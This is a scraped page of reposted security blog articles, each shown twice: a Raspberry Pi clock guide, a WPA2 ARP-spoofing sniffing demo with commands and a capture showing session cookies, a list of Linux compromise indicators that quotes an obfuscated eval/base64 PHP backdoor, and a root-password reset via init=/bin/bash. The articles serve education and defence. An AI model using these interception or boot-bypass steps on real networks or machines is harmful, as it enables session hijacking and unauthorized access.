Demande.tn

🔒
❌
Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierIO Digital Sec

Keeping the Raspberry Pi 3 clock up to date

Par Adam Palmer

Raspberry Pi 3The Raspberry Pi 3 is an excellent piece of hardware. With 4 ARM A53 cores, 1Gb RAM and integrated 802.11bgn wifi, at only $35, they’re giving them away!

One of the biggest pain points when using the Pi for data acquisition is a lack of a battery backed clock. Each time the Pi boots up, it reverts to it’s manufacture date. Sure, with a working network connection we can synchronise with NTP easily enough, but what happens when we don’t have network access?

The Pi foundation deliberately avoided including a battery backed clock – it’s changes the size, adds extra circuitry and a battery, and increases the price.

How do we know when our clock is wrong? When the Pi boots up, until we’ve made a successful NTP call, our clock is wrong.

How can we prevent our clock going backwards? Use fake-hwclock. The system time is logged, and then restored on next boot to whatever it was previously. The clock will be wrong, but at least it won’t have gone backwards. This can save us from a number of code related issues.

ARPI600The other option, is to get an addon clock. After much research, I settled on the ARPI600.

First – it obviously includes the needed RTC over an I2C interface. The PDF setup guide is pretty simple and just works.

Second – it includes XBee support – a whole range of radio modules.

Third – it gives you the Arduino headers and opens up the Pi to the full Arduino ecosystem.

Fourth – it provides a USB interface for both power, and the serial UART interface, saving on that 4 wire debug cable.

The case? A bit of a problem – if anyone knows of one that will take a Pi3, ARPI600 hat and any Arduino hats, I’m all ears – until then, I’ll need to print my own.

Anyway, back to time keeping. After an initial time set with NTP, we can set our accurate time to the ARPI600 with hwclock -w

Later on after a fresh boot, we can set our clock to match that of the ARPI600 with hwclock -s. Lastly, to print out the clock on the ARPI600, it’s hwclock -r.

 

 

Keeping the Raspberry Pi 3 clock up to date

Par Adam Palmer

Raspberry Pi 3The Raspberry Pi 3 is an excellent piece of hardware. With 4 ARM A53 cores, 1Gb RAM and integrated 802.11bgn wifi, at only $35, they’re giving them away!

One of the biggest pain points when using the Pi for data acquisition is a lack of a battery backed clock. Each time the Pi boots up, it reverts to it’s manufacture date. Sure, with a working network connection we can synchronise with NTP easily enough, but what happens when we don’t have network access?

The Pi foundation deliberately avoided including a battery backed clock – it’s changes the size, adds extra circuitry and a battery, and increases the price.

How do we know when our clock is wrong? When the Pi boots up, until we’ve made a successful NTP call, our clock is wrong.

How can we prevent our clock going backwards? Use fake-hwclock. The system time is logged, and then restored on next boot to whatever it was previously. The clock will be wrong, but at least it won’t have gone backwards. This can save us from a number of code related issues.

ARPI600The other option, is to get an addon clock. After much research, I settled on the ARPI600.

First – it obviously includes the needed RTC over an I2C interface. The PDF setup guide is pretty simple and just works.

Second – it includes XBee support – a whole range of radio modules.

Third – it gives you the Arduino headers and opens up the Pi to the full Arduino ecosystem.

Fourth – it provides a USB interface for both power, and the serial UART interface, saving on that 4 wire debug cable.

The case? A bit of a problem – if anyone knows of one that will take a Pi3, ARPI600 hat and any Arduino hats, I’m all ears – until then, I’ll need to print my own.

Anyway, back to time keeping. After an initial time set with NTP, we can set our accurate time to the ARPI600 with hwclock -w

Later on after a fresh boot, we can set our clock to match that of the ARPI600 with hwclock -s. Lastly, to print out the clock on the ARPI600, it’s hwclock -r.

 

 

Sniffing the Network

Par Adam Palmer

This article is intended to provide a simple demonstration of how easy it is to sniff/intercept traffic on various types of networks, and serve as a warning to utilize secure methods of communication on a) untrusted networks and b) known networks with the potential for untrusted clients or administrators.

The first consideration is the topology of the network we’re connected to. To consider 5 common scenarios:

  1. Wired ethernet hub network: Hubs are becoming more and more obsolete as they are changed to switches. Multiple devices can be connected to a hub, and any data received by the hub from one device is broadcast out to all other devices. This means that all devices receive all network traffic. Not only is this an inefficient use of bandwidth, but each device is trusted to accept traffic destined for itself and to ignore traffic destined for another node. To sniff such a network, a node simply needs to switch it’s network interface card to “promiscuous mode”, meaning that it accepts all traffic received.
  2. Wired ethernet switched network: Multiple devices can be connected to a switch, however a switch has greater intelligence than a hub. The switch will inspect the traffic sent on each port, and learn the hardware (MAC) address of the client connected to a particular port. Once learned, the switch will inspect any frames it receives on a port, and forward that frame to the known recipient’s port alone. Other devices connected to the switch will not receive traffic that is not destined for them. This offers enhanced bandwidth usage over a hub. Switches rely on ARP packets which are easily forged in order to learn which devices are on which ports.
  3. Wireless open networks: Multiple devices can connect to an open wireless network. All data is broadcast across the network in plain text, and any attacker can sniff/intercept traffic being broadcast across the network. An open wireless network may present the user with a form of hotspot login page before granting internet access, however this does not detract from the network itself being open.
  4. WEP encrypted wireless network: A WEP encrypted network requires a WEP key to encrypt and decrypt network traffic. WEP has long been an outdated and insecure method of wireless network protection, and cracking a wireless network’s WEP key is fast and requires low skill. WEP is not secure. In addition, all clients connected to the network use the same WEP key to connect. That results in any user on the network with the WEP key being table to view any traffic transmitted to and from other nodes on the network.
  5. WPA/WPA2 encrypted network: A WPA/WPA2 encrypted network is significantly more secure than a WEP network. Whilst attacks exist on parts of the protocol, and extensions such as WPS, no known attack is able to recover a complex WPA/WPA2 password within an acceptable period of time. Whilst all clients connect to the network with the same password, the protocol is engineered to create different keystreams between each connected client and the access point. This means that simple sniffing in the traditional sense is not possible on the network.


Now to look at some of the network attacks that can be leveraged in the above scenarios:

  1. Switches maintain a table of MAC addresses, and once this table is full, some switches will revert to hub activity. This allows an attacker to fill the MAC address table with bogus information via spoofed ARP packets, forcing the switch to act as a hub at which point traffic can be sniffed. Another attack involves flooding the switch with ARP packets, claiming that an existing node’s MAC address is in fact on the port that we are connected to. This causes traffic originally destined for the legitimate node to be directed to our switch port allowing us to intercept it. This type of attack can be mitigated using “port security”, where the switch is either manually configured with allowed MAC addresses on each port, or it is set to learn the first MAC address on the port that it receives and refuse to accept other conflicting ARP packets. ARP spoofing applies to wireless and wired networks equally.
  2. Most networks are configured to use DHCP which allows each node to dynamically gain its network configuration settings from a server on the fly. Setting up a rogue DHCP server is trivial, most commonly instructing the nodes to use a malicious gateway that intercepts traffic. This type of attack can be mitigated using “DHCP snooping”.
  3. Wireless clients can communicate with each other, and therefore a malicious client can launch attacks against other clients on a wireless network. This type of attack is mitigated by utilizing “client isolation” – this is typically implemented by the access point intercepting ARP requests for other IPs on the network and responding with it’s own MAC address. This prevents clients on the network from communicating with each other – they are only permitted to communicate with the access point.
  4. Although WPA/WPA2 networks prohibit simple sniffing, ARP spoofing is a common technique to intercept traffic on such networks.

It’s important to reiterate that “secured” networks such as WPA/WPA2 are only secure for the user as far as they trust other users on the network, and the network operator. For that reason an encrypted VPN tunnel or restricting all traffic to encrypted rather than plaintext protocols is essential.

Let’s get into an example: sniffing traffic on a WPA2 network. Unauthorized subversion of traffic on a network is illegal, and so this demonstration was performed on a private test network.

First, we need to connect to the WPA2 network using wpa_supplicant. I created a sample configuration in /etc/wpa_supplicant/test_network.conf containing my network name and PSK (password). wpa_supplicant has a number of configuration options. The most simple configuration is as follows:

network={
    ssid="test_wifi"
    psk="sup3r$3cr3tP@ssW0rD#!"
}

Now, to connect to the network:

# wpa_supplicant -Dwext -iwlan0 -c /etc/wpa_supplicant/test_network.conf

Once connected, I gain an IP address using dhclient:

# dhclient wlan0

I’m assigned an IP of 192.168.2.120/24 with a gateway of 192.168.2.1. Running tcpdump -i wlan0 -n shows sporadic network broadcasts, but nothing of interest. This makes sense, as per the above explanation all connected clients are communicating with the access point using different keys and therefore I am unable to decrypt their traffic. Instead, if I use ARP spoofing to claim the MAC address currently assigned to the router (192.168.2.1), clients will begin routing their internet bound traffic to my node. Before doing so, I will need to enable IP forwarding, allowing my node to forward the clients traffic out to the legitimate gateway, allowing them to continue accessing the internet:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i wlan0 192.168.2.1

arpspoof immediately begins sending ARP packets to the network, instructing nodes that the router 192.168.2.1 is found at the MAC address of my own wireless adapter wlan0.

Let’s now use tcpdump again to view any HTTP traffic on the network in ASCII format:

# tcpdump -i wlan0 -n -s 1500 -A tcp port 80

tcpdump soon begins providing output:

21:47:09.699770 IP 192.168.2.138.53322 > 74.125.137.106.80: Flags [P.], seq 0:1243, ack 1, win 229, options [nop,nop,TS val 11685115 ecr 2023438326], length 1243
E.....@.?.......J}.j.J.Pi=.=.........z.....
..L.x.7.GET /favicon.ico HTTP/1.1
Host: www.google.com
Connection: keep-alive
Referer: http://www.google.com/
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8160 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Accept-Encoding: gzip,deflate
Accept-Language: en-GB, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Accept: */*
Cookie: SID=PTDDDCEBAAB6MKOSEFJolaj8Cuh7lQoJ10TjxIOTd2ekS6blnoAOtdt4q11yArTcyQdluS_56mKZRBDY45AUFnlXwUVytp4F5cj5GlRxMTb2ZoZiPfruVp0CA5_j7T294Ncakx5ymzmN8lTaj8m8EFNGFOOLtgE69YnnlJpYnFWMQqTE8Ux_3kkRQbzjMsJmXmWDQHlQ_a5JENcz7J9ttDq30FhgZYFu7aQItP5m965jrA_WBbTot0jUdZnUov2Wy9Ph0TCAPeTc4lXLYvCSD6Ymzvnw-9F5wrUBovQjiRADmHEuX9V8V9M0LyhyqAI_Cmw_jWVh0SQNpINbnW0oGmMsTUwhLb3BZoJgoGN-O5OTYbfmGRFVyhCLK2i6L2gcxNKCToCA0zWzKBSZjzZi_G7bX2Sqjy6k; HSID=ANi1GHnDIS9IjCj2s; APISID=jB_NbBrcih9k50kY/Ae-busQdQ82QWJWTo; PREF=ID=2BE55a438f68ebb4:U=ce7b384a9ae16929:FF=0:LD=en:TM=1411032446:LM=1411595388:S=bePFJjWQuBb51peq; NID=67=H1W_AjsPoXfHMEWGtLYQM9trpjiQDU2Rp2TPwn9sv6xsMoDmHPdHyO1DvB8WHQGmcDgtpZPa_Ydm5Mb6inwalLc5Gct7N5XnzTFNtk9-9wGCxQC-kmkRR6aQZnHwFRjHOrqkeqNNUUR3MZ160YPSw0gjRkuM4domcv_XJY0LnEAjB20d4rWUHQvien4wPYME0CX5
If-Modified-Since: Tue, 14 Aug 2012 15:19:23 GMT

We can see that we’ve caught an HTTP request to google.com, including the full cookie data. An attacker could then hijack and replay that cookie to impersonate our session.

It’s easier to view and filter traffic visually using Wireshark:

Wireshark1

Wireshark has been started and is listening on wlan0 whilst arpspoof continues to run. I’ve set a filter of http.host contains “google.com” to show HTTP traffic where the Host header matches google.com.

Now to view the stream, we right click on a packet and click “Follow TCP Stream”:

Wireshark2

Wireshark 3

Wireshark now presents us with the entire TCP conversation. Different filters can be set to filter out IMAP or POP3 traffic for example. This attack was conducted on a WPA2 network using ARP spoofing, and can be easily applied to the other network scenarios described above unless adequate precautions are taken.

More advanced attack options

Firesheep is a browser plugin that demonstrates HTTP session hijacking and highlights the insecurities of using unencrypted protocols on open networks.

The scenario above can be extended by using iptables to redirect outbound traffic through application proxies running on our malicious host. sslstrip by Moxie Marlinspike acts as an HTTP proxy server that parses HTML and converts any HTTPS links to HTTP – its intention is to force unaware users to browse HTTP versions of sites rather than the encrypted HTTPS version. iptables would be used to redirect outbound traffic through sslstrip

Fake local services could be run and have traffic redirected through them in the same way as sslstrip above to present users with fake inboxes and email scenarios for example.

Lastly, an intercepting HTTPS server could be utilized that generated fake, self-signed certificates given the host name being requested. Users on the network would be presented with an SSL warning indicating that the certificate was not signed by a trusted CA, however many users would blindly accept and continue, not understanding the implications of the warning and simply wanting to access the desired remote site.

The best advice for staying secure on untrusted networks is a) using an encrypted VPN tunnel to a trusted remote host with both client and server side validation, and b) using encrypted protocols such as HTTPS, IMAPS, POP3S and SMTPS. It’s crucial not to accept SSL warnings without a thorough understanding of the situation and why the message has arisen.

 

Sniffing the Network

Par Adam Palmer

This article is intended to provide a simple demonstration of how easy it is to sniff/intercept traffic on various types of networks, and serve as a warning to utilize secure methods of communication on a) untrusted networks and b) known networks with the potential for untrusted clients or administrators.

The first consideration is the topology of the network we’re connected to. To consider 5 common scenarios:

  1. Wired ethernet hub network: Hubs are becoming more and more obsolete as they are changed to switches. Multiple devices can be connected to a hub, and any data received by the hub from one device is broadcast out to all other devices. This means that all devices receive all network traffic. Not only is this an inefficient use of bandwidth, but each device is trusted to accept traffic destined for itself and to ignore traffic destined for another node. To sniff such a network, a node simply needs to switch it’s network interface card to “promiscuous mode”, meaning that it accepts all traffic received.
  2. Wired ethernet switched network: Multiple devices can be connected to a switch, however a switch has greater intelligence than a hub. The switch will inspect the traffic sent on each port, and learn the hardware (MAC) address of the client connected to a particular port. Once learned, the switch will inspect any frames it receives on a port, and forward that frame to the known recipient’s port alone. Other devices connected to the switch will not receive traffic that is not destined for them. This offers enhanced bandwidth usage over a hub. Switches rely on ARP packets which are easily forged in order to learn which devices are on which ports.
  3. Wireless open networks: Multiple devices can connect to an open wireless network. All data is broadcast across the network in plain text, and any attacker can sniff/intercept traffic being broadcast across the network. An open wireless network may present the user with a form of hotspot login page before granting internet access, however this does not detract from the network itself being open.
  4. WEP encrypted wireless network: A WEP encrypted network requires a WEP key to encrypt and decrypt network traffic. WEP has long been an outdated and insecure method of wireless network protection, and cracking a wireless network’s WEP key is fast and requires low skill. WEP is not secure. In addition, all clients connected to the network use the same WEP key to connect. That results in any user on the network with the WEP key being table to view any traffic transmitted to and from other nodes on the network.
  5. WPA/WPA2 encrypted network: A WPA/WPA2 encrypted network is significantly more secure than a WEP network. Whilst attacks exist on parts of the protocol, and extensions such as WPS, no known attack is able to recover a complex WPA/WPA2 password within an acceptable period of time. Whilst all clients connect to the network with the same password, the protocol is engineered to create different keystreams between each connected client and the access point. This means that simple sniffing in the traditional sense is not possible on the network.


Now to look at some of the network attacks that can be leveraged in the above scenarios:

  1. Switches maintain a table of MAC addresses, and once this table is full, some switches will revert to hub activity. This allows an attacker to fill the MAC address table with bogus information via spoofed ARP packets, forcing the switch to act as a hub at which point traffic can be sniffed. Another attack involves flooding the switch with ARP packets, claiming that an existing node’s MAC address is in fact on the port that we are connected to. This causes traffic originally destined for the legitimate node to be directed to our switch port allowing us to intercept it. This type of attack can be mitigated using “port security”, where the switch is either manually configured with allowed MAC addresses on each port, or it is set to learn the first MAC address on the port that it receives and refuse to accept other conflicting ARP packets. ARP spoofing applies to wireless and wired networks equally.
  2. Most networks are configured to use DHCP which allows each node to dynamically gain its network configuration settings from a server on the fly. Setting up a rogue DHCP server is trivial, most commonly instructing the nodes to use a malicious gateway that intercepts traffic. This type of attack can be mitigated using “DHCP snooping”.
  3. Wireless clients can communicate with each other, and therefore a malicious client can launch attacks against other clients on a wireless network. This type of attack is mitigated by utilizing “client isolation” – this is typically implemented by the access point intercepting ARP requests for other IPs on the network and responding with it’s own MAC address. This prevents clients on the network from communicating with each other – they are only permitted to communicate with the access point.
  4. Although WPA/WPA2 networks prohibit simple sniffing, ARP spoofing is a common technique to intercept traffic on such networks.

It’s important to reiterate that “secured” networks such as WPA/WPA2 are only secure for the user as far as they trust other users on the network, and the network operator. For that reason an encrypted VPN tunnel or restricting all traffic to encrypted rather than plaintext protocols is essential.

Let’s get into an example: sniffing traffic on a WPA2 network. Unauthorized subversion of traffic on a network is illegal, and so this demonstration was performed on a private test network.

First, we need to connect to the WPA2 network using wpa_supplicant. I created a sample configuration in /etc/wpa_supplicant/test_network.conf containing my network name and PSK (password). wpa_supplicant has a number of configuration options. The most simple configuration is as follows:

network={
    ssid="test_wifi"
    psk="sup3r$3cr3tP@ssW0rD#!"
}

Now, to connect to the network:

# wpa_supplicant -Dwext -iwlan0 -c /etc/wpa_supplicant/test_network.conf

Once connected, I gain an IP address using dhclient:

# dhclient wlan0

I’m assigned an IP of 192.168.2.120/24 with a gateway of 192.168.2.1. Running tcpdump -i wlan0 -n shows sporadic network broadcasts, but nothing of interest. This makes sense, as per the above explanation all connected clients are communicating with the access point using different keys and therefore I am unable to decrypt their traffic. Instead, if I use ARP spoofing to claim the MAC address currently assigned to the router (192.168.2.1), clients will begin routing their internet bound traffic to my node. Before doing so, I will need to enable IP forwarding, allowing my node to forward the clients traffic out to the legitimate gateway, allowing them to continue accessing the internet:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i wlan0 192.168.2.1

arpspoof immediately begins sending ARP packets to the network, instructing nodes that the router 192.168.2.1 is found at the MAC address of my own wireless adapter wlan0.

Let’s now use tcpdump again to view any HTTP traffic on the network in ASCII format:

# tcpdump -i wlan0 -n -s 1500 -A tcp port 80

tcpdump soon begins providing output:

21:47:09.699770 IP 192.168.2.138.53322 > 74.125.137.106.80: Flags [P.], seq 0:1243, ack 1, win 229, options [nop,nop,TS val 11685115 ecr 2023438326], length 1243
E.....@.?.......J}.j.J.Pi=.=.........z.....
..L.x.7.GET /favicon.ico HTTP/1.1
Host: www.google.com
Connection: keep-alive
Referer: http://www.google.com/
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8160 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Accept-Encoding: gzip,deflate
Accept-Language: en-GB, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Accept: */*
Cookie: SID=PTDDDCEBAAB6MKOSEFJolaj8Cuh7lQoJ10TjxIOTd2ekS6blnoAOtdt4q11yArTcyQdluS_56mKZRBDY45AUFnlXwUVytp4F5cj5GlRxMTb2ZoZiPfruVp0CA5_j7T294Ncakx5ymzmN8lTaj8m8EFNGFOOLtgE69YnnlJpYnFWMQqTE8Ux_3kkRQbzjMsJmXmWDQHlQ_a5JENcz7J9ttDq30FhgZYFu7aQItP5m965jrA_WBbTot0jUdZnUov2Wy9Ph0TCAPeTc4lXLYvCSD6Ymzvnw-9F5wrUBovQjiRADmHEuX9V8V9M0LyhyqAI_Cmw_jWVh0SQNpINbnW0oGmMsTUwhLb3BZoJgoGN-O5OTYbfmGRFVyhCLK2i6L2gcxNKCToCA0zWzKBSZjzZi_G7bX2Sqjy6k; HSID=ANi1GHnDIS9IjCj2s; APISID=jB_NbBrcih9k50kY/Ae-busQdQ82QWJWTo; PREF=ID=2BE55a438f68ebb4:U=ce7b384a9ae16929:FF=0:LD=en:TM=1411032446:LM=1411595388:S=bePFJjWQuBb51peq; NID=67=H1W_AjsPoXfHMEWGtLYQM9trpjiQDU2Rp2TPwn9sv6xsMoDmHPdHyO1DvB8WHQGmcDgtpZPa_Ydm5Mb6inwalLc5Gct7N5XnzTFNtk9-9wGCxQC-kmkRR6aQZnHwFRjHOrqkeqNNUUR3MZ160YPSw0gjRkuM4domcv_XJY0LnEAjB20d4rWUHQvien4wPYME0CX5
If-Modified-Since: Tue, 14 Aug 2012 15:19:23 GMT

We can see that we’ve caught an HTTP request to google.com, including the full cookie data. An attacker could then hijack and replay that cookie to impersonate our session.

It’s easier to view and filter traffic visually using Wireshark:

Wireshark1

Wireshark has been started and is listening on wlan0 whilst arpspoof continues to run. I’ve set a filter of http.host contains “google.com” to show HTTP traffic where the Host header matches google.com.

Now to view the stream, we right click on a packet and click “Follow TCP Stream”:

Wireshark2

Wireshark 3

Wireshark now presents us with the entire TCP conversation. Different filters can be set to filter out IMAP or POP3 traffic for example. This attack was conducted on a WPA2 network using ARP spoofing, and can be easily applied to the other network scenarios described above unless adequate precautions are taken.

More advanced attack options

Firesheep is a browser plugin that demonstrates HTTP session hijacking and highlights the insecurities of using unencrypted protocols on open networks.

The scenario above can be extended by using iptables to redirect outbound traffic through application proxies running on our malicious host. sslstrip by Moxie Marlinspike acts as an HTTP proxy server that parses HTML and converts any HTTPS links to HTTP – its intention is to force unaware users to browse HTTP versions of sites rather than the encrypted HTTPS version. iptables would be used to redirect outbound traffic through sslstrip

Fake local services could be run and have traffic redirected through them in the same way as sslstrip above to present users with fake inboxes and email scenarios for example.

Lastly, an intercepting HTTPS server could be utilized that generated fake, self-signed certificates given the host name being requested. Users on the network would be presented with an SSL warning indicating that the certificate was not signed by a trusted CA, however many users would blindly accept and continue, not understanding the implications of the warning and simply wanting to access the desired remote site.

The best advice for staying secure on untrusted networks is a) using an encrypted VPN tunnel to a trusted remote host with both client and server side validation, and b) using encrypted protocols such as HTTPS, IMAPS, POP3S and SMTPS. It’s crucial not to accept SSL warnings without a thorough understanding of the situation and why the message has arisen.

 

Linux: You may have been Compromised when..

Par Adam Palmer

There are a number of warning signs that a system has been compromised. The cases below warrant further investigation. Of course, they aren’t all guarantees that your system has been compromised, however they can be strong indicators.

1. Your welcome banner shows the last log in from an unknown/foreign IP address:

Last login: Tue Dec  2 16:08:41 2014 from 190.234.106.143
root@mt:~#

2. The load on a usually idle system is suspiciously high:

root@mt:~# w
 17:06:39 up 62 days, 22:37,  1 user,  load average: 8.12, 8.14, 8.11
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    pwn              17:03    7.00s  0.00s  0.00s w

This could indicate that unknown processes are running.

3. Unknown processes, specifically scripts running:

root@mt:~# ps auxw
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  10648   472 ?        Ss   Oct07   0:29 init [2]
[...]
root     10613  0.0  0.0  57344  1148 ?        Ss   Oct22   0:13 perl /root/.root/31337.pl

Note that the user account that the process is running under can often give a lot away about the source of compromise. The most common account to see malicious scripts running under (on Debian) is www-data indicating that the web application has been compromised.

4. High network usage and strange usage patterns on a usually quiet system:
Here’s a simple script for gathering the current transmit and receive bytes per second on eth0:

rx_1=$(cat /sys/class/net/eth0/statistics/rx_bytes)
tx_1=$(cat /sys/class/net/eth0/statistics/tx_bytes)
sleep 1
rx_2=$(cat /sys/class/net/eth0/statistics/rx_bytes)
tx_2=$(cat /sys/class/net/eth0/statistics/tx_bytes)
echo "Received: $(expr $rx_2 - $rx_1)bps Transmitted: $(expr $tx_2 - $tx_1)bps"

An idle machine showing a huge transmit rate is cause for concern!

5. Abuse reports start coming in:

Dear Mr. Box Owner,

We have received abuse reports...

6. Unknown user accounts present on the system:

root@mt:~# cat /etc/passwd
[...]
fr3d:x:1002:1002::/home/fr3d:/bin/bash

7. Unknown hidden directories present:

root@mt:~# ls -al
total 1768
drwx------  9 root root    4096 Nov  5 18:07 .
drwxr-xr-x 24 root root    4096 Oct  7 19:31 ..
-rw-------  1 root root   12625 Dec  9 17:02 .bash_history
drwxr-xr-x  6 root root    4096 Oct 31 16:13 .c0d3z

8. Unknown files present within the www directory:

root@mt:~# ls /var/www
default  index.php  webshell.php

Note that the creation time and date of webshell.php can give further information on the compromise.

9. Strange PHP code appearing in existing scripts:

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JB
TFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJyk
peyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3
RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkV
[...]
yk7ICAgfSAgfQ=="));?>

This is a clever trick that’s been used across scripting languages for years. By looking at the first two function calls, eval and base64_decode, we can see that first, the large block of ASCII text is decoded using the base64 algorithm (into PHP code), and that PHP code is then executed with eval. The purpose is two-fold:

  1. To obfuscate and hide the intention of the malicious code from the user viewing the script.
  2. To allow this plain ASCII code to be injected through potential filters that would filter out other code characters.

To view the actual code is simple. Simply decode the ASCII text with a web based base64 decoder. Note: NEVER run the unknown code through PHP..

10. Unknown code appearing that references ‘googlebot’:

[...]
(!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&
[...]

This is another sneaky one, most likely intended to increase the rankings of a malicious 3rd party site. The most common case is where a different version of the page is presented to Google’s crawlers than it is to everyone else. You and your site visitors will never notice anything different about the site, however Google is being provided with a page version containing a load of malicious links. This will harm your site in the rankings.

All of the cases above warrant further investigation. One last piece of advice – if you have been compromised, disconnect the system from the network as soon as possible. If you ever intend to get to the root cause of the compromise, do not begin deleting or attempting to repair files. Malicious files contain valuable meta data – owner, group, created on, modified on, and so on. Once you start accessing, modifying and deleting, evidence is permanently destroyed.

Linux: You may have been Compromised when..

Par Adam Palmer

There are a number of warning signs that a system has been compromised. The cases below warrant further investigation. Of course, they aren’t all guarantees that your system has been compromised, however they can be strong indicators.

1. Your welcome banner shows the last log in from an unknown/foreign IP address:

Last login: Tue Dec  2 16:08:41 2014 from 190.234.106.143
root@mt:~#

2. The load on a usually idle system is suspiciously high:

root@mt:~# w
 17:06:39 up 62 days, 22:37,  1 user,  load average: 8.12, 8.14, 8.11
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    pwn              17:03    7.00s  0.00s  0.00s w

This could indicate that unknown processes are running.

3. Unknown processes, specifically scripts running:

root@mt:~# ps auxw
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  10648   472 ?        Ss   Oct07   0:29 init [2]
[...]
root     10613  0.0  0.0  57344  1148 ?        Ss   Oct22   0:13 perl /root/.root/31337.pl

Note that the user account that the process is running under can often give a lot away about the source of compromise. The most common account to see malicious scripts running under (on Debian) is www-data indicating that the web application has been compromised.

4. High network usage and strange usage patterns on a usually quiet system:
Here’s a simple script for gathering the current transmit and receive bytes per second on eth0:

rx_1=$(cat /sys/class/net/eth0/statistics/rx_bytes)
tx_1=$(cat /sys/class/net/eth0/statistics/tx_bytes)
sleep 1
rx_2=$(cat /sys/class/net/eth0/statistics/rx_bytes)
tx_2=$(cat /sys/class/net/eth0/statistics/tx_bytes)
echo "Received: $(expr $rx_2 - $rx_1)bps Transmitted: $(expr $tx_2 - $tx_1)bps"

An idle machine showing a huge transmit rate is cause for concern!

5. Abuse reports start coming in:

Dear Mr. Box Owner,

We have received abuse reports...

6. Unknown user accounts present on the system:

root@mt:~# cat /etc/passwd
[...]
fr3d:x:1002:1002::/home/fr3d:/bin/bash

7. Unknown hidden directories present:

root@mt:~# ls -al
total 1768
drwx------  9 root root    4096 Nov  5 18:07 .
drwxr-xr-x 24 root root    4096 Oct  7 19:31 ..
-rw-------  1 root root   12625 Dec  9 17:02 .bash_history
drwxr-xr-x  6 root root    4096 Oct 31 16:13 .c0d3z

8. Unknown files present within the www directory:

root@mt:~# ls /var/www
default  index.php  webshell.php

Note that the creation time and date of webshell.php can give further information on the compromise.

9. Strange PHP code appearing in existing scripts:

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JB
TFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJyk
peyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3
RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkV
[...]
yk7ICAgfSAgfQ=="));?>

This is a clever trick that’s been used across scripting languages for years. By looking at the first two function calls, eval and base64_decode, we can see that first, the large block of ASCII text is decoded using the base64 algorithm (into PHP code), and that PHP code is then executed with eval. The purpose is two-fold:

  1. To obfuscate and hide the intention of the malicious code from the user viewing the script.
  2. To allow this plain ASCII code to be injected through potential filters that would filter out other code characters.

To view the actual code is simple. Simply decode the ASCII text with a web based base64 decoder. Note: NEVER run the unknown code through PHP..

10. Unknown code appearing that references ‘googlebot’:

[...]
(!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&
[...]

This is another sneaky one, most likely intended to increase the rankings of a malicious 3rd party site. The most common case is where a different version of the page is presented to Google’s crawlers than it is to everyone else. You and your site visitors will never notice anything different about the site, however Google is being provided with a page version containing a load of malicious links. This will harm your site in the rankings.

All of the cases above warrant further investigation. One last piece of advice – if you have been compromised, disconnect the system from the network as soon as possible. If you ever intend to get to the root cause of the compromise, do not begin deleting or attempting to repair files. Malicious files contain valuable meta data – owner, group, created on, modified on, and so on. Once you start accessing, modifying and deleting, evidence is permanently destroyed.

Reset Linux Root Password

Par Adam Palmer

There are a couple of reasons why you might want to reset a Linux root password. If the current password is known to you, just log in as root and issue the passwd command. What if you’ve forgotten the password and can’t log in? Resetting a Linux root password is simple if you have access to the machine. There are 2 main methods.

Method #1

First, we boot the machine up. If LILO is in use, enter linux init=/bin/bash at the ‘LILO:’ prompt. If GRUB is in use, then press key ‘e’. We’ll need to edit the kernel line, beginning ‘linux’, and append init=/bin/sh:

Boot Step #3 Boot Step #1 Boot Step #2

 

The machine will boot straight into a shell prompt – no login required:

Boot Final

Now, bear in mind that the GRUB layout, kernel options and text may look significantly different on your particular Linux install. If I issue the mount command, I can see that my root filesystem has been mounted as read only:

# mount
[...]
/dev/disk/by-uuid/45bba583-3259-4626-ba7e-62873eee3295 on / type ext4 (ro,relatime,data=ordered)
# 

The key above, being the mount point ‘/’ and the ‘ro’ keyword. In order to modify the password file, we’ll need to remount the filesystem for read and write access:

# mount / -oremount,rw

Before issuing the passwd command to set a new password:

# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
#

Now to remount the filesystem readonly again:

# mount / -oremount,ro

Finally – we’ll need to reboot, however as we are outside of the standard system, issuing reboot will fail. Instead, issue Ctrl-Alt-Del. There’s nothing wrong with this, as the filesystem has already been remounted read only – no data will be lost.

Method #2
